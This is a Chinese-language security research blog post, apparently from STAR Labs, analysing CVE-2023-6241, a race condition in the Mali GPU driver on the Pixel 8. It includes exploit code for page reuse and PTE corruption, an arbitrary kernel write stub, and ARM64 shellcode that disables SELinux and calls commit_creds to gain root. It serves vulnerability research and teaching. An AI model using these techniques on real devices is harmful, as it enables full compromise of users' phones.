5秒内消失:WARN_ON如何偷走10分钟 | STAR Labs
May 30, 2025 · 16 min · Tan Ze Jian
目录
- 根因分析
- 后备页面
- 映射页面
- 利用
- 任意读/写
- 其他途径
- 权限提升
- 绕过SELinux
- Root
- ‘修复’延迟
- Bug修复
- 参考文献
作为在STAR Labs实习的一部分,我的任务是进行CVE-2023-6241的N-day分析。原始PoC可以在这里找到,以及附带的详细说明。
在这篇博客文章中,我将解释根本原因以及用于利用页面UAF的替代利用技术,实现任意内核代码执行。
以下漏洞利用在运行补丁前最新版本的Pixel 8上进行了测试。
1
2
|
shiba:/ $ getprop ro.build.fingerprint
google/shiba/shiba:14/UQ1A.240205.004/11269751:user/release-keys
|
根因分析
该漏洞是由于kbase_jit_grow函数中的竞态条件引起的(源代码)。
当调用者请求的物理页面数超过kctx的mempool中的页面数时,竞态窗口打开。锁将被释放以允许内核重新填充mempool。
重新填充后,先前计算的old_size值被kbase_mem_grow_gpu_mapping用于计算,以映射新页面。代码错误地假设先前的old_size和nents在下面的while循环后仍然保持相同的值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
/* Grow the backing */
old_size = reg->gpu_alloc->nents; // 先前的old_size
/* Allocate some more pages */
delta = info->commit_pages - reg->gpu_alloc->nents;
pages_required = delta;
...
while (kbase_mem_pool_size(pool) < pages_required) {
int pool_delta = pages_required - kbase_mem_pool_size(pool);
int ret;
kbase_mem_pool_unlock(pool);
spin_unlock(&kctx->mem_partials_lock);
kbase_gpu_vm_unlock(kctx); // 锁被释放
ret = kbase_mem_pool_grow(pool, pool_delta, kctx->task); // 竞态窗口在这里
kbase_gpu_vm_lock(kctx); // 锁重新获取
if (ret)
goto update_failed;
spin_lock(&kctx->mem_partials_lock);
kbase_mem_pool_lock(pool);
}
// 竞态窗口后,实际的nents可能大于old_size
...
ret = kbase_mem_grow_gpu_mapping(kctx, reg, info->commit_pages,
old_size, mmu_sync_info);
|
如果我们在竞态窗口期间通过写入指令引入页面错误以增长JIT内存区域,实际的备份页面数(reg->gpu_alloc->nents)将大于缓存的old_size。
在页面错误期间,页面错误处理程序将映射和备份物理页面直到错误地址。
1
2
3
4
|
-----------------------------
| old_size | FAULT_SIZE |
-----------------------------
<----------- nents ---------->
|
后备页面
kbase_jit_grow通过以下行添加后备页面:
1
|
kbase_alloc_phy_pages_helper_locked(reg->gpu_alloc, pool, delta, &prealloc_sas[0])
|
delta参数是竞态窗口前保存的缓存值,其值与old_size相同。当我们查看kbase_alloc_phy_pages_helper_locked函数时,它引用了新的reg->gpu_alloc->nents值,并将其用作起始偏移量来添加delta页面(源代码)。换句话说,物理后备页面是从偏移量nents到nents + delta分配的。
映射页面
kbase_jit_grow然后尝试通过以下方式映射页面:
1
|
kbase_mem_grow_gpu_mapping(kctx, reg, info->commit_pages, old_size, mmu_sync_info)
|
当映射新页面时,kbase_mem_grow_gpu_mapping将delta计算为info->commit_pages - old_size,并从old_size开始映射delta页面。由于kbase_mem_grow_gpu_mapping不知道区域的实际nents已增加,它将无法映射最后的FAULT_SIZE页面。
期望:
1
2
3
|
----------------------------------
| old_size | delta |
---------------------------------
|
现实:
1
2
3
4
5
6
7
8
9
|
-----------------------------------------------
| old_size | FAULT_SIZE | delta |
-----------------------------------------------
或
-----------------------------------------------
| old_size | delta | FAULT_SIZE |
-----------------------------------------------
<----------------- backed -------------------->
<----------- mapped ------------> <- unmapped >
|
我们现在将处于内存区域右侧部分未映射但由物理页面支持的状态。
利用
为了使这可利用,我们首先需要了解Mali驱动程序如何处理内存区域的收缩和释放。
原始说明解释得相当好。
想法是创建一个内存区域,其中一部分保持未映射,而周围区域仍然映射。这种配置导致收缩例程跳过取消映射该特定部分,即使其备份页面被标记为释放。
为了实现这一点,我们可以在现有内存区域的末尾附近引入第二个错误以满足条件。
1
2
3
4
|
--------------------------------------------------------------
| old_size | delta | FAULT_SIZE | second fault |
--------------------------------------------------------------
<----------- mapped ------------> <- unmapped ><-- mapped --->
|
之后,我们收缩内存区域,这导致GPU开始取消映射final_size之后的内容。Mali驱动程序将跳过取消映射PTE1中的映射,因为它是未映射且无效的。当它到达PTE2时,由于PTE2中的第一个条目无效(因为相应的地址未映射),kbase_mmu_teardown_pgd_pages将跳过取消映射接下来的512个虚拟页面。然而,这本来不应该发生,因为仍然有需要取消映射的有效PTE。
1
2
3
4
5
6
7
8
|
<------------ final_size ------------><----- free pages ----->
--------------------------------------------------------------
| mapped | unmapped | mapped |
--------------------------------------------------------------
|-- PTE1 --|-- PTE2 --|
<---*--->
*区域跳过取消映射但备份页面被释放
|
我们可以将FAULT_SIZE设置为0x300页面,使其占据略多于1个最后级别PTE(可以容纳0x200页面)。因此,在收缩后,second_fault中的一部分内存将保持映射。然而,final_size之后的所有物理页面都被释放。
此时,我们仍然能够访问这个无效的映射区域(write_addr = corrupted_jit_addr + (THRESHOLD) * 0x1000),其物理页面已被释放。我们需要在其他对象消耗之前回收这个释放的页面。我们的目标是强制2个虚拟内存区域引用相同的物理页面。
- 从GPU大量分配和映射内存区域
- 将魔法值写入映射到释放页面的区域
- 扫描(1)中所有分配的区域以查找魔法值,以找到哪个物理页面已被重用。
现在我们知道write_addr和reused_addr都引用相同的物理页面。
1
2
3
4
5
6
7
8
9
|
create_reuse_regions(mali_fd, &(reused_regions[0]), REUSE_REG_SIZE);
value = TEST_VAL;
write_addr = corrupted_jit_addr + (THRESHOLD) * 0x1000;
LOG("writing to gpu_va %lx\n", write_addr);
write_to(mali_fd, &write_addr, &value, command_queue, &kernel);
uint64_t reused_addr = find_reused_page(&(reused_regions[0]), REUSE_REG_SIZE);
if (reused_addr == -1) {
err(1, "Cannot find reused page\n");
}
|
任意读/写
此时,我们拥有2个引用相同物理页面的内存区域(write_addr和reused_addr)。我们的下一个目标是将这个重叠页面转换为更强的任意读写原语。
原始漏洞利用通过喷洒Mali GPU的PGD来重用释放的页面。由于我们能够读写访问释放的页面,我们能够控制新分配的PGD中的PTE。这允许我们将保留缓冲区的备份页面更改为指向任何内存区域,并随后使用它来修改内核函数。
详细说明在原始说明中
根据说明,Mali处理内存分配的方式有几个有趣的点:
- Mali驱动程序的物理页面分配是分层进行的。
- 它首先从上下文池中提取,然后是设备池。如果两个池都无法满足请求,它将从内核伙伴分配器请求页面。
- GPU的PGD分配是从kbdev mempool请求的,这是设备的mempool。
因此,原始漏洞利用提出了一种技术,可靠地将空闲页面放入kbdev池中以供PGD分配重用:
- 从GPU分配一些页面(用于喷洒PGD)
- 分配MAX_POOL_SIZE页面
- 释放MAX_POOL_SIZE页面
- 将我们的UAF页面(reused_addr)释放到kbdev mempool中
- 映射并写入(1)中分配的页面,这将导致在GPU中分配新的PGD。希望它重用reused_addr引用的页面
- 扫描write_addr的内存区域以查找PTE。
漏洞利用现在能够通过修改PTE来控制(1)中保留页面的物理备份页面,从而实现任意r/w。
从以下检查设备的MAX_POOL_SIZE:
1
2
|
shiba:/ $ cat /sys/module/mali_kbase/drivers/platform\:mali/1f000000.mali/mem_pool_max_size
16384 16384 16384 16384
|
其他途径
我的导师Peter建议我利用页面UAF原语探索其他内核利用技术。
为了实现这一点,我们首先需要将释放的页面从GPU的控制中取出。我们可以修改原始漏洞利用以排出2 * MAX_POOL_SIZE页面,从而填充上下文和设备mempool。这导致后续释放的页面直接返回到内核伙伴分配器,而不是保留在Mali驱动程序中。
我们现在能够使用通常的Linux内核利用技术来喷洒内核对象。我最初尝试从喷洒pipe_buffer开始,因为它在其他漏洞利用中常用且用户可控。然而,我无法可靠地让对象重用UAF页面。然后我遇到了ptr-yudai使用的Dirty Pagetable技术,这对我来说很有效。这种技术与原始漏洞利用中使用的技术非常相似,只是它在GPU之外操作。
我们首先在虚拟地址空间中mmap一个大的内存区域。这些虚拟内存区域在对其执行内存访问之前不会被任何物理页面支持。
1
2
3
4
|
void* page_spray[N_PAGESPRAY];
for (int i=0; i < N_PAGESPRAY; i++) {
page_spray[i] = mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
}
|
使用上述技术将UAF页面发送回内核
1
2
3
|
uint64_t drain = drain_mem_pool(mali_fd); // 分配2倍池大小的页面
release_mem_pool(mali_fd, drain); // 释放上面分配的所有页面
mem_commit(mali_fd, reused_addr, 0); // 这里释放的页面应该被发送回内核伙伴分配器
|
当我们执行写入映射区域时,它将导致最后级别中页面表的新分配。相应的PTE也将被填充。希望页面表分配将提取从GPU释放的UAF页面。
1
2
3
4
5
6
7
|
// 用页面表回收释放的页面,这样当我们从write_addr读取时,我们应该看到PTE
puts("[+] Spraying PTEs...");
for (int i = 0; i < N_PAGESPRAY; i++) {
for (int j = 0; j < 8; j++) {
*(int*)(page_spray[i] + j * 0x1000) = 8 * i + j; // 用唯一ID标记每个区域,以便以后识别
}
}
|
现在我们需要找到一种方法来识别一对mmap-ed缓冲区及其相应的PTE。我们可以损坏一个PTE并尝试从中读取。由于我们在每个缓冲区中写入了唯一ID,我们可以快速识别哪个区域已被损坏。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
// 用第二个PTE覆盖第一个PTE -> page_spray中的2个区域现在将具有相同的备份页面
uint64_t first_pte_val = read_from(mali_fd, &write_addr, command_queue, &kernel);
if (first_pte_val == TEST_VAL) {
err(1, "[!] pte spray failed\n");
}
uintptr_t second_pte_addr = write_addr + 8;
uint64_t second_pte_val = read_from(mali_fd, &second_pte_addr, command_queue, &kernel);
write_to(mali_fd, &write_addr, &second_pte_val, command_queue, &kernel);
usleep(10000);
// 使用ID遍历所有区域,以找到哪个区域被损坏
void* corrupted_mapping_addr = 0;
for (int i = 0; i < N_PAGESPRAY; i++) {
for (int j = 0; j < 8; j++) {
void* addr = (page_spray[i] + j * 0x1000);
if (*(int*)addr != 8 * i + j) {
printf("[+] Found corrupted mapping @ %lx : %d\n", (uintptr_t)addr, 8 * i + j);
corrupted_mapping_addr = addr;
}
}
}
if (corrupted_mapping_addr == 0) {
err(1, "[!] Unable to find overlapped mapping\n");
}
|
此时,我们从用户空间具有对corrupted_mapping_addr的读写访问权限,更重要的是,我们可以通过从OpenCL API控制write_addr处的PTE来更改其物理备份页面。换句话说,我们可以读写内核内存中的任何地方!
由于内核文本部分始终加载在此Pixel版本的相同物理地址,我们可以轻松覆盖内核函数以注入shellcode。
例如,下面的存根修改PTE以指向write_loc偏移处的物理地址,允许overwrite_addr中的更改反映在实际的物理页面中。
1
2
3
4
5
6
7
8
|
// 任意写入的存根
uintptr_t write_loc = ????;
char contents_to_write[] = {};
uintptr_t modified_pte = ((KERNEL_BASE + write_loc) & ~0xfff) | 0x8000000000000067;
write_to(mali_fd, &write_addr, &modified_pte, command_queue, &kernel);
usleep(10000);
void* overwrite_addr = (void*)(corrupted_mapping_addr + (write_loc & 0xfff));
memcpy(overwrite_addr, contents_to_write, sizeof(contents_to_write));
|
权限提升
为了完成漏洞利用,我们需要将SELinux设置为许可状态并获得root权限。我选择重用原始漏洞利用中使用的现有方法。
绕过SELinux
这是一篇很好的文章,解释了在Android上绕过SELinux的常见方法。
在此设备上绕过SELinux的最简单方法是将state->enforcing值覆盖为false。为了实现这一点,我们可以覆盖内核文本中的avc_denied函数,以始终授予所有权限请求,即使它原本应该被拒绝。
avc_denied的第一个参数是selinux_state,
1
2
3
4
5
|
static noinline int avc_denied(struct selinux_state *state,
u32 ssid, u32 tsid,
u16 tclass, u32 requested,
u8 driver, u8 xperm, unsigned int flags,
struct av_decision *avd)
|
因此,我们可以使用它用shellcode覆盖enforcing字段:
1
2
3
|
strb wzr, [x0] // 将selinux_state->enforcing设置为false
mov x0, #0 // 授予请求
ret
|
Root
像许多其他Linux漏洞利用一样,我们可以通过调用commit_creds(&init_cred)获得root权限。由于sel_read_enforce可以在我们从/sys/fs/selinux/enforce读取时调用,我们用shellcode覆盖该函数:
1
2
3
4
5
6
7
8
|
adrp x0, init_cred
add x0, x0, :lo12:init_cred
adrp x8, commit_creds
add x8, x8, :lo12:commit_creds
stp x29, x30, [sp, #-0x10]
blr x8
ldp x29, x30, [sp], #0x10
ret
|
我们可以结合到目前为止获得的所有内容,从无特权的untrusted_app_27上下文成功利用Pixel 8。不幸的是,漏洞利用需要相当长的时间才能完成(根据我的测试大约10分钟)。
‘修复’延迟
为了理解为什么漏洞利用有10分钟的延迟,我们可以检查kmsg中的日志。有很多警告抛出相同的堆栈转储。
1
2
3
4
5
6
7
8
9
|
<4>[ 1881.358317][ T8672] ------------[ cut here ]------------
<4>[ 1881.363557][ T8672] WARNING: CPU: 8 PID: 8672 at ../private/google-modules/gpu/mali_kbase/mmu/mali_kbase_mmu.c:2429 mmu_insert_pages_no_flush+0x2f8/0x76c [mali_kbase]
<4>[ 1881.787213][ T8672] CPU: 8 PID: 8672 Comm: poc Tainted: G S W OE 5.15.110-android14-11-gcc48824eebe8-dirty #1
<4>[ 1881.797995][ T8672] Hardware name: ZUMA SHIBA MP based on ZUMA (DT)
<4>[ 1881.804254][ T8672] pstate: 22400005 (nzCv daif +PAN -UAO +TCO -DIT -SSBS BTYPE=--)
<4>[ 1881.811905][ T8672] pc : mmu_insert_pages_no_flush+0x2f8/0x76c [mali_kbase]
<4>[ 1881.818856][ T8672] lr : mmu_insert_pages_no_flush+0x2e4/0x76c [mali_kbase]
<4>[ 1881.825813][ T8672] sp : ffffffc022e53880
<4>[ 1881.829810][ T8672]
|